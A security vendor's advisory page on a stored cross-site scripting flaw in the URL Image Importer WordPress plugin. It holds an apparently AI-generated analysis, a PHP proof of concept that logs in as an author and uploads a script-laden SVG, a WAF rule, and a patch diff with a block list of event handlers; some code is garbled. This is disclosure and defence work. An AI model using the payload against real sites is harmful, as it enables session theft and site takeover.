Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14120: URL Image Importer <= 1.0.7 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Upload (url-image-importer)

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.0.7
Patched Version 1.0.8
Disclosed January 4, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2025-14120:nThis vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the URL Image Importer WordPress plugin. The vulnerability exists in the plugin’s SVG file upload sanitization function. Attackers with Author-level access or higher can upload a malicious SVG file containing script payloads. The plugin fails to properly sanitize this content, leading to stored XSS that executes when the SVG file is accessed.nnAtomic Edge research identified the root cause in the `uimptr_sanitize_svg_content` function within the main plugin file `url-image-importer.php`. The original function, spanning lines 171-196, used an insufficient blacklist approach. It only removed a limited set of dangerous elements and attributes, and its regex patterns for removing `javascript:` and `data:` URLs were incomplete. The function did not cover numerous SVG-specific event handlers, animation elements, and other XSS vectors, allowing malicious scripts to bypass sanitization.nnThe exploitation method requires an attacker to have an Author-level WordPress account. The attacker uploads a crafted SVG file via the plugin’s image import functionality. The malicious SVG contains script payloads within event attributes like `onload` or `onmouseover`, or uses elements like “ or “. Once uploaded, the SVG file is stored in the WordPress media library. Any user or visitor who accesses the direct URL to this SVG file will have the embedded scripts executed in their browser context, potentially leading to session hijacking or administrative actions.nnThe patch, applied in version 1.0.8, fundamentally changes the sanitization strategy. The updated `uimptr_sanitize_svg_content` function, now spanning lines 171-273, first attempts to use the robust `enshrined/svg-sanitize` library for whitelist-based sanitization. If the library is unavailable, it employs a significantly expanded fallback blacklist. This fallback adds many dangerous elements like `foreignobject` and `handler`, and includes a comprehensive list of event attributes covering DOM, SVG animation, and media events. The patch also improves URL scheme filtering to include `vbscript:` and `xlink:href` attributes, and adds regex patterns to remove dangerous “ and “ elements targeting event handlers, and “ elements with external references.nnSuccessful exploitation leads to stored cross-site scripting. An attacker can inject arbitrary JavaScript that executes in the context of any user viewing the malicious SVG. This can result in session cookie theft, account takeover, redirection to malicious sites, or performing actions on behalf of the victim user. For administrators, this could lead to full site compromise, such as injecting backdoors or creating new administrator accounts.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2025-14120 – URL Image Importer <= 1.0.7 – Authenticated (Author+) Stored Cross-Site Scripting via SVG File Uploadn<?phpnn$target_url = 'http://vulnerable-wordpress-site.com';n$username = 'author_user';n$password = 'author_password';nn// Malicious SVG payload with multiple XSS vectorsn$svg_payload = 'nn alert(“Atomic Edge XSS via script element”)n n n n alert(“Atomic Edge XSS via foreignobject”)n n n Click men’;nn// Step 1: Authenticate to WordPress and obtain nonce for uploadn$login_url = $target_url . ‘/wp-login.php’;n$admin_ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘log’ => $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => ‘1’n]));ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);n$response = curl_exec($ch);nn// Step 2: Extract the nonce required for the plugin’s upload actionn// The plugin likely uses a nonce for the ‘uimptr_import_images’ AJAX actionn// This step may require visiting the plugin’s admin page to get a fresh noncen// For this PoC, we assume the nonce is known or the plugin does not require one for this action in vulnerable versionsnn// Step 3: Upload the malicious SVG via the plugin’s AJAX endpointn// The exact AJAX action parameter name may vary; common patterns include ‘uimptr_import_images’ or similarncurl_setopt($ch, CURLOPT_URL, $admin_ajax_url);ncurl_setopt($ch, CURLOPT_POST, 1);nn// Create a temporary file with the SVG payloadn$tmp_svg = tempnam(sys_get_temp_dir(), ‘xss’) . ‘.svg’;nfile_put_contents($tmp_svg, $svg_payload);nn$post_fields = [n ‘action’ => ‘uimptr_import_images’, // Hypothetical action name; adjust based on actual pluginn ‘image_urls’ => ‘data:image/svg+xml;base64,’ . base64_encode($svg_payload)n // Alternatively, the plugin might accept direct file uploads via multipart/form-datan];nncurl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);n$response = curl_exec($ch);nn// Step 4: Parse response to get the URL of the uploaded SVGn// The response likely contains a JSON object with the attachment ID or direct URLn$upload_data = json_decode($response, true);nif (json_last_error() === JSON_ERROR_NONE && isset($upload_data[‘url’])) {n $svg_url = $upload_data[‘url’];n echo “Malicious SVG uploaded successfully. Access at: ” . $svg_url . “\n”;n echo “When accessed, the SVG will execute multiple XSS payloads.\n”;n} else {n echo “Upload may have succeeded. Check WordPress media library for the SVG file.\n”;n}nncurl_close($ch);nunlink($tmp_svg);nn?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2025-14120nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:10014120,phase:2,deny,status:403,chain,msg:’CVE-2025-14120: URL Image Importer SVG XSS via AJAX’,severity:’CRITICAL’,tag:’CVE-2025-14120′,tag:’WordPress’,tag:’Plugin’,tag:’XSS'”n SecRule ARGS_POST:action “@streq uimptr_import_images” “chain”n SecRule ARGS_POST:image_urls “@rx data:image/svg\+xml[^,]*base64[^,]*]*>” \n “t:lowercase,t:urlDecodeUni,ctl:auditLogParts=+E””
}

Differential between vulnerable and patched code

Code Diff
--- a/url-image-importer/url-image-importer.php
+++ b/url-image-importer/url-image-importer.php
@@ -3,14 +3,14 @@
  *
  * Plugin Name: URL Image Importer
  * Description: A plugin to import multiple images into the WordPress Media Library from URLs.
- * Version: 1.0.7
+ * Version: 1.0.8
  * Author: Infinite Uploads
  * Author URI: https://infiniteuploads.com
  * Text Domain: url-image-importer
  * License: GPL2
  *
  * @package UrlImageImporter
- * @version 1.0.7
+ * @version 1.0.8
  */

 if ( ! defined( 'ABSPATH' ) ) {
@@ -20,7 +20,7 @@
 $upload_dir = wp_upload_dir();

 define( 'UIMPTR_PATH', plugin_dir_path( __FILE__ ) );
-define( 'UIMPTR_VERSION', '1.0.7' );
+define( 'UIMPTR_VERSION', '1.0.8' );
 define( 'UPLOADBLOGSDIR', $upload_dir['basedir'] );  // Use basedir for root uploads folder, not path (current month)

 // Composer autoload for PSR-4 classes
@@ -171,20 +171,73 @@
 }

 /**
- * Sanitize SVG content for security
+ * Sanitize SVG content for security using whitelist-based sanitization
+ *
+ * Uses the enshrined/svg-sanitize library for comprehensive XSS protection.
+ * Falls back to an extended blacklist approach if the library is unavailable.
+ *
+ * @param string $content The raw SVG content to sanitize
+ * @return string|false The sanitized SVG content, or false if sanitization fails
  */
 function uimptr_sanitize_svg_content( $content ) {
-	// Remove potentially dangerous elements and attributes
+	// Try to use the enshrined/svg-sanitize library (recommended approach)
+	if ( class_exists( '\enshrined\svgSanitize\Sanitizer' ) ) {
+		$sanitizer = new enshrinedsvgSanitizeSanitizer();
+		$sanitizer->minify( true );
+		$sanitized = $sanitizer->sanitize( $content );
+
+		// The library returns false if sanitization fails
+		if ( $sanitized === false ) {
+			return false;
+		}
+
+		return $sanitized;
+	}
+
+	// Fallback: Extended blacklist-based sanitization if library is not available
+	// This includes comprehensive coverage of all known XSS vectors in SVG
+
+	// Dangerous elements that can execute scripts or load external content
 	$dangerous_elements = array(
 		'script', 'object', 'embed', 'link', 'style', 'meta', 'iframe',
-		'frame', 'frameset', 'form', 'input', 'button', 'textarea'
+		'frame', 'frameset', 'form', 'input', 'button', 'textarea',
+		'foreignobject', 'handler', 'listener'
 	);

+	// Comprehensive list of dangerous event attributes including SVG animation events
 	$dangerous_attributes = array(
+		// Standard DOM events
 		'onload', 'onclick', 'onmouseover', 'onerror', 'onmouseout',
 		'onmousemove', 'onmousedown', 'onmouseup', 'onfocus', 'onblur',
 		'onkeydown', 'onkeyup', 'onkeypress', 'onchange', 'onselect',
-		'onsubmit', 'onreset', 'onabort', 'onunload', 'onresize'
+		'onsubmit', 'onreset', 'onabort', 'onunload', 'onresize',
+		'ondblclick', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave',
+		'ondragover', 'ondragstart', 'ondrop', 'oninput', 'oninvalid',
+		'onscroll', 'onwheel', 'oncopy', 'oncut', 'onpaste',
+		'oncontextmenu', 'ontouchstart', 'ontouchmove', 'ontouchend', 'ontouchcancel',
+		'onpointerdown', 'onpointermove', 'onpointerup', 'onpointercancel',
+		'onpointerenter', 'onpointerleave', 'onpointerover', 'onpointerout',
+		'ongotpointercapture', 'onlostpointercapture',
+
+		// SVG animation events (SMIL)
+		'onbegin', 'onend', 'onrepeat', 'onactivate',
+
+		// SVG-specific events
+		'onfocusin', 'onfocusout', 'onzoom',
+
+		// Media events (for SVG media elements)
+		'onplay', 'onpause', 'onended', 'onvolumechange', 'ontimeupdate',
+		'oncanplay', 'oncanplaythrough', 'ondurationchange', 'onemptied',
+		'onloadeddata', 'onloadedmetadata', 'onloadstart', 'onprogress',
+		'onratechange', 'onseeked', 'onseeking', 'onstalled', 'onsuspend',
+		'onwaiting', 'onplaying',
+
+		// Other dangerous attributes
+		'onafterprint', 'onbeforeprint', 'onbeforeunload', 'onhashchange',
+		'onmessage', 'onoffline', 'ononline', 'onpagehide', 'onpageshow',
+		'onpopstate', 'onstorage', 'onanimationstart', 'onanimationend',
+		'onanimationiteration', 'ontransitionend', 'ontransitionstart',
+		'ontransitionrun', 'ontransitioncancel'
 	);

 	// Remove dangerous elements
@@ -193,14 +246,20 @@
 		$content = preg_replace( '#<' . $element . '[^>]*/?>#is', '', $content );
 	}

-	// Remove dangerous attributes
+	// Remove dangerous attributes (handles quoted and unquoted values)
 	foreach ( $dangerous_attributes as $attr ) {
 		$content = preg_replace( '#s' . $attr . 's*=s*["'][^"']*["']#is', '', $content );
 		$content = preg_replace( '#s' . $attr . 's*=s*[^>s]*#is', '', $content );
 	}

-	// Remove javascript: and data: URLs
-	$content = preg_replace( '#(href|src|action)s*=s*["']?s*(javascript|data):[^"'>s]*#is', '', $content );
+	// Remove javascript:, data:, and vbscript: URLs from href, src, xlink:href, and action attributes
+	$content = preg_replace( '#(href|src|action|xlink:href)s*=s*["']?s*(javascript|data|vbscript):[^"'>s]*#is', '', $content );
+
+	// Remove set and animate elements that target dangerous attributes
+	$content = preg_replace( '#<(set|animate)[^>]*(attributeNames*=s*["']?(on[a-z]+)["']?)[^>]*/?>#is', '', $content );
+
+	// Remove use elements with external references (potential XSS vector)
+	$content = preg_replace( '#<use[^>]*xlink:hrefs*=s*["']?https?://[^"'>s]*#is', '<use', $content );

 	return $content;
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School